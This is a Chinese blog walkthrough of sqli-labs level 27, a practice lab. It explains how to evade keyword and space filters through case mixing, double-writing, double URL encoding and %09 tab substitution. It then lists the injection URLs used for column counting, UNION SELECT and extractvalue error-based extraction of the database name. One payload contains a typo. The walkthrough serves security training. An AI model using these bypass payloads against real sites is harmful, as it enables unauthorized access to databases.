当前位置: 首页 > backend >正文

sqli-labs第二十七关——Trick with selectunion

进去之后,可以看见提示这一关新屏蔽了union 和 select,查看源码

确定:/*,--+,#,spaces,union,select,union,select的大小写均被屏蔽了

 总结一下:

sql注入绕过技术

  • 大小写绕过:任意字母大小写,如and→ANd / AND / anD
  • 双写绕过:or→oror / oorr
  • url编码(两次):

                原理:.WAF(web应用防火墙)只解码一次,但后端服务器解码两次

                例如:空格的url解码是%20,我们要对%20再次编码

                                %→%25,数字保持不变,也就是最终变成%2520(不用双重全编码(%25%32%30),这个已经足够高效并且能绕过多数WAF了)

这一关我们用大小写绕过,空格过滤用%09绕过,and与or用&&与||绕过,union改成UNIon,select改成SELEct,结尾注释符号仍然用 ||'

一:判断注入类型

输入 ?id=1' 和 ?id=1') 的时候报错

尝试闭合 ,单引号闭合成功

?id=1'||'

二:开始注入

1.爆列数

?id=1'%09oRdeR%09b,4y%091,2,3,4||'

四列

2.爆回显位 

?id=-1'%09UNIon%09SELEct%091,database(),3%09||'

无回显,使用报错注入

3.爆数据库名字

?id=1'%09and%09extractvalue(1,concat(0x7e,database()))||'

 ❀❀❀ 完结撒花!!!❀❀❀

 

http://www.xdnf.cn/news/9102.html

相关文章:

  • AI时代新词-AI芯片(AI - Specific Chip)
  • 大模型量化原理
  • vue + ant-design + xlsx 实现表格导出进度提示功能
  • 【JSON-To-Video】JSON转视频教程,快速添加配音与字幕!
  • 【Java】异常处理
  • 【C++初阶】模拟实现string(二):swap优化与写时拷贝机制
  • 知识宇宙-职业篇:互联网产品经理PM
  • Debian操作系统全面解析:从起源到应用
  • MPI与多线程(如OpenMP)混合编程注意事项与性能优化
  • React与Vue的内置指令对比
  • 【C/C++】如何在一个事件驱动的生产者-消费者模型中使用观察者进行通知与解耦
  • [TriCore] 01.QEMU 虚拟化 TriCore 架构中的寄存器 指令
  • 小红书文章内容提取免费API接口教程
  • java基础(面向对象进阶高级)内部类
  • leetcode hot100刷题日记——17.搜索插入位置
  • Linux中logger命令的使用方法详解
  • 嵌入式开发STM32 -- 江协科技笔记
  • window 显示驱动开发-呈现开销改进(二)
  • c++进阶——智能指针
  • maven中的grpc编译插件protobuf-maven-plugin详解
  • SQL进阶之旅 Day 4:子查询与临时表优化
  • C/C++语言中成双成对出现的都有哪些?
  • STM32程序运行不了,仿真功能也异常,连断点和复位都异常了
  • 网络流学习笔记(基础)
  • Beckhoff PLC 功能块 FB_CTRL_ACTUAL_VALUE_FILTER (模拟量滤波)
  • vSphere 7.0 client 提示HTTP状态 500- 内部服务器错误
  • GROUP BY SQL
  • 【动态规划】子数组系列(一)
  • 【备战秋招】C++音视频开发经典面试题整理
  • 学校住宿管理系统——仙盟创梦IDE